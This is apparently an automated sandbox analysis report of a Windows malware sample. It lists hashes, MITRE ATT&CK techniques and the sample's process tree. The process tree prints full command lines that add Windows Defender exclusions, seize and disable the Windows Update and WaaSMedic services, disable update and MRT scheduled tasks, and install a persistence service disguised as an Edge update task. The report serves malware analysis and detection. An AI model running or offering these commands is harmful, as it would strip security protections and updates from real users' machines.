b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666

Analysis

max time kernel
39s
max time network
38s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/08/2026, 12:27

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General

Target
b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe
Size 5.0MB
Sample260809-pmtxsaxfpe
SHA256 b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666
MD5 b8e7048780d4959fac186bf5d953c28c
SHA1 edacb01f94cc5f0f578f20c8ceda1066034c3c68
SHA512 f41e68372f300d31a079d51fc2b71ebf0cdd11f113c61fe0803341e5abcb669a348876cb69db5c767b1ce5c836e190102988ccf21e15e7f1dc01dfdde0d68d1d
SSDEEP 98304:u/jHxQ3fuAsY61nxSClmfno6KTaiwRhQdhTGom4Vw/zxHHm0jIghQLG3:QLxQ3JsYSBlmvo6WaQdUoEzxHH3B
TLSH
T1E93633E7A9C61435D493C3B4538770BCB1347B969A50FD87B2CDA989CEA3E21543E382
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution persistence

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

defense_evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1800 created 3208	1800	LockAppHost14a02b.exe	55

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2988	powershell.exe
4340	powershell.exe

Server Software Component: Terminal Services DLL 1 TTPs 4 IoCs

persistence

Terminal Services DLL

T1505.005

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bwjaaunwsq\Parameters\ServiceDll = "%systemroot%\\system32\\usosvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xgqqqnyhwm\Parameters\ServiceDll = "%SystemRoot%\\System32\\WaaSMedicSvc.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\tetwhfsopc\Parameters\ServiceDll = "%systemroot%\\system32\\wuaueng.dll"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ejmmzpzruc\Parameters\ServiceDll = "%SystemRoot%\\System32\\qmgr.dll"	reg.exe

Sets service image path in registry 3 TTPs 5 IoCs

This determines the executable launched when a service starts. It can be used to establish persistence.

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\bwjaaunwsq\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\xgqqqnyhwm\ImagePath = "%systemroot%\\system32\\svchost.exe -k wusvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\tetwhfsopc\ImagePath = "%systemroot%\\system32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ejmmzpzruc\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k netsvcs -p"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\ifpgndlcyw\ImagePath = "%SystemRoot%\\System32\\svchost.exe -k NetworkService -p"	reg.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002

Deletes itself 1 IoCs

pid	Process
1296	b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 1 IoCs

pid	Process
1800	LockAppHost14a02b.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Power Settings 1 TTPs 4 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
1196	powercfg.exe
3288	powercfg.exe
4708	powercfg.exe
3912	powercfg.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1800 set thread context of 3760	1800	LockAppHost14a02b.exe	94

Launches sc.exe 15 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1144	sc.exe
3612	sc.exe
404	sc.exe
964	sc.exe
1132	sc.exe
4488	sc.exe
1932	sc.exe
4996	sc.exe
3796	sc.exe
1980	sc.exe
1020	sc.exe
5000	sc.exe
3024	sc.exe
4392	sc.exe
2068	sc.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	nslookup.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	nslookup.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	nslookup.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1296	b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe
1296	b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe
1800	LockAppHost14a02b.exe
1800	LockAppHost14a02b.exe
1800	LockAppHost14a02b.exe
1800	LockAppHost14a02b.exe
2988	powershell.exe
2988	powershell.exe
4340	powershell.exe
4340	powershell.exe
3760	nslookup.exe
3760	nslookup.exe

Suspicious behavior: RenamesItself 1 IoCs

pid	Process
1296	b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

description	pid	Process
Token: SeDebugPrivilege	1800	LockAppHost14a02b.exe
Token: SeDebugPrivilege	3760	nslookup.exe
Token: SeDebugPrivilege	2988	powershell.exe
Token: SeDebugPrivilege	4340	powershell.exe
Token: SeShutdownPrivilege	3288	powercfg.exe
Token: SeCreatePagefilePrivilege	3288	powercfg.exe
Token: SeShutdownPrivilege	1196	powercfg.exe
Token: SeCreatePagefilePrivilege	1196	powercfg.exe
Token: SeShutdownPrivilege	4708	powercfg.exe
Token: SeCreatePagefilePrivilege	4708	powercfg.exe
Token: SeShutdownPrivilege	3912	powercfg.exe
Token: SeCreatePagefilePrivilege	3912	powercfg.exe

Suspicious use of WriteProcessMemory 45 IoCs

description	pid	Process	procid_target
PID 1296 wrote to memory of 4392	1296	b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe	87
PID 1296 wrote to memory of 3612	1296	b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe	89
PID 1296 wrote to memory of 1932	1296	b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe	91
PID 1800 wrote to memory of 3760	1800	LockAppHost14a02b.exe	94
PID 3760 wrote to memory of 2988	3760	nslookup.exe	95
PID 3760 wrote to memory of 4340	3760	nslookup.exe	97
PID 3760 wrote to memory of 4996	3760	nslookup.exe	100
PID 3760 wrote to memory of 404	3760	nslookup.exe	102
PID 3760 wrote to memory of 2068	3760	nslookup.exe	104
PID 3760 wrote to memory of 3796	3760	nslookup.exe	106
PID 3760 wrote to memory of 4692	3760	nslookup.exe	108
PID 3760 wrote to memory of 1764	3760	nslookup.exe	110
PID 3760 wrote to memory of 964	3760	nslookup.exe	112
PID 3760 wrote to memory of 1132	3760	nslookup.exe	114
PID 3760 wrote to memory of 4252	3760	nslookup.exe	116
PID 3760 wrote to memory of 3948	3760	nslookup.exe	118
PID 3760 wrote to memory of 1144	3760	nslookup.exe	120
PID 3760 wrote to memory of 4488	3760	nslookup.exe	122
PID 3760 wrote to memory of 3368	3760	nslookup.exe	124
PID 3760 wrote to memory of 2440	3760	nslookup.exe	126
PID 3760 wrote to memory of 1020	3760	nslookup.exe	128
PID 3760 wrote to memory of 5000	3760	nslookup.exe	130
PID 3760 wrote to memory of 400	3760	nslookup.exe	132
PID 3760 wrote to memory of 4688	3760	nslookup.exe	134
PID 3760 wrote to memory of 3024	3760	nslookup.exe	136
PID 3760 wrote to memory of 1980	3760	nslookup.exe	138
PID 3760 wrote to memory of 3044	3760	nslookup.exe	140
PID 3760 wrote to memory of 3916	3760	nslookup.exe	142
PID 3760 wrote to memory of 4604	3760	nslookup.exe	144
PID 3760 wrote to memory of 4388	3760	nslookup.exe	146
PID 3760 wrote to memory of 2804	3760	nslookup.exe	148
PID 3760 wrote to memory of 3560	3760	nslookup.exe	150
PID 3760 wrote to memory of 2660	3760	nslookup.exe	152
PID 3760 wrote to memory of 4200	3760	nslookup.exe	154
PID 3760 wrote to memory of 4860	3760	nslookup.exe	156
PID 3760 wrote to memory of 3060	3760	nslookup.exe	158
PID 3760 wrote to memory of 1260	3760	nslookup.exe	160
PID 3760 wrote to memory of 4000	3760	nslookup.exe	162
PID 3760 wrote to memory of 3908	3760	nslookup.exe	164
PID 3760 wrote to memory of 1196	3760	nslookup.exe	166
PID 3760 wrote to memory of 3912	3760	nslookup.exe	167
PID 3760 wrote to memory of 4708	3760	nslookup.exe	168
PID 3760 wrote to memory of 3288	3760	nslookup.exe	170
PID 3760 wrote to memory of 3036	3760	nslookup.exe	172
PID 3760 wrote to memory of 1692	3760	nslookup.exe	176

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3208
- C:\Users\Admin\AppData\Local\Temp\b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe
  "C:\Users\Admin\AppData\Local\Temp\b83976f2fb570268e3b28e33dfcef679dfd641ebd576ff2956cd6eb7ce3fe666.exe"
  2⤵
  - Deletes itself
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: RenamesItself
  - Suspicious use of WriteProcessMemory
  PID:1296
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" delete "MicrosoftEdgeUpdateTaskMachine_3aa5"
    3⤵
    - Launches sc.exe
    PID:4392
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" create "MicrosoftEdgeUpdateTaskMachine_3aa5" binpath= "C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe" start= "auto"
    3⤵
    - Launches sc.exe
    PID:3612
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" start "MicrosoftEdgeUpdateTaskMachine_3aa5"
    3⤵
    - Launches sc.exe
    PID:1932
- C:\Windows\System32\nslookup.exe
  "C:\Windows\System32\nslookup.exe"
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3760
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData, $env:TEMP) -ExclusionExtension @('.exe', '.sys') -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2988
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $key='HKLM:\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc';$acl=Get-Acl $key;$admin=New-Object System.Security.Principal.NTAccount('BUILTIN','Administrators');$acl.SetOwner($admin);$rule=New-Object System.Security.AccessControl.RegistryAccessRule($admin,'FullControl','Allow');$acl.SetAccessRule($rule);Set-Acl $key $acl;Set-ItemProperty $key -Name 'Start' -Value 4 -Type DWord
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Drops file in System32 directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4340
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:4996
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:404
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config UsoSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:2068
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:3796
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" "HKLM\SYSTEM\CurrentControlSet\Services\bwjaaunwsq" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:4692
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
    3⤵
    PID:1764
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config WaaSMedicSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:964
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1132
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" "HKLM\SYSTEM\CurrentControlSet\Services\xgqqqnyhwm" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:4252
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
    3⤵
    PID:3948
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    PID:1144
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4488
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" "HKLM\SYSTEM\CurrentControlSet\Services\tetwhfsopc" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:3368
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
    3⤵
    - Modifies security service
    PID:2440
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config BITS start= disabled
    3⤵
    - Launches sc.exe
    PID:1020
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop BITS
    3⤵
    - Launches sc.exe
    PID:5000
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\BITS" "HKLM\SYSTEM\CurrentControlSet\Services\ejmmzpzruc" /s /f
    3⤵
    - Server Software Component: Terminal Services DLL
    - Sets service image path in registry
    PID:400
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\BITS" /f
    3⤵
    PID:4688
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" config dosvc start= disabled
    3⤵
    - Launches sc.exe
    PID:3024
- - C:\Windows\System32\sc.exe
    "C:\Windows\System32\sc.exe" stop dosvc
    3⤵
    - Launches sc.exe
    PID:1980
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" copy "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" "HKLM\SYSTEM\CurrentControlSet\Services\ifpgndlcyw" /s /f
    3⤵
    - Sets service image path in registry
    PID:3044
- - C:\Windows\System32\reg.exe
    "C:\Windows\System32\reg.exe" delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
    3⤵
    PID:3916
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /Disable
    3⤵
    PID:4604
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /Disable
    3⤵
    PID:4388
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /Disable
    3⤵
    PID:2804
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan" /Disable
    3⤵
    PID:3560
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Scan Static Task" /Disable
    3⤵
    PID:2660
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Work" /Disable
    3⤵
    PID:4200
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work" /Disable
    3⤵
    PID:4860
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\USO_UxBroker" /Disable
    3⤵
    PID:3060
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_AC" /Disable
    3⤵
    PID:1260
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\UpdateOrchestrator\Reboot_Battery" /Disable
    3⤵
    PID:4000
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\WaaSMedic\PerformRemediation" /Disable
    3⤵
    PID:3908
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:1196
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -hibernate-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3912
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-ac 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4708
- - C:\Windows\System32\powercfg.exe
    "C:\Windows\System32\powercfg.exe" /x -standby-timeout-dc 0
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:3288
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows\MRT\MRT_HB" /Disable
    3⤵
    PID:3036
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /Change /TN "\Microsoft\Windows Removal Tools\MRT_HB" /Disable
    3⤵
    PID:1692

C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1800

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Server Software Component

T1505

Terminal Services DLL

T1505.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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LockAppHost14a02b.exe

Path C:\ProgramData\Microsoft\Network\Diagnostics\73BF5F50\LockAppHost14a02b.exe
Size 5.0MB
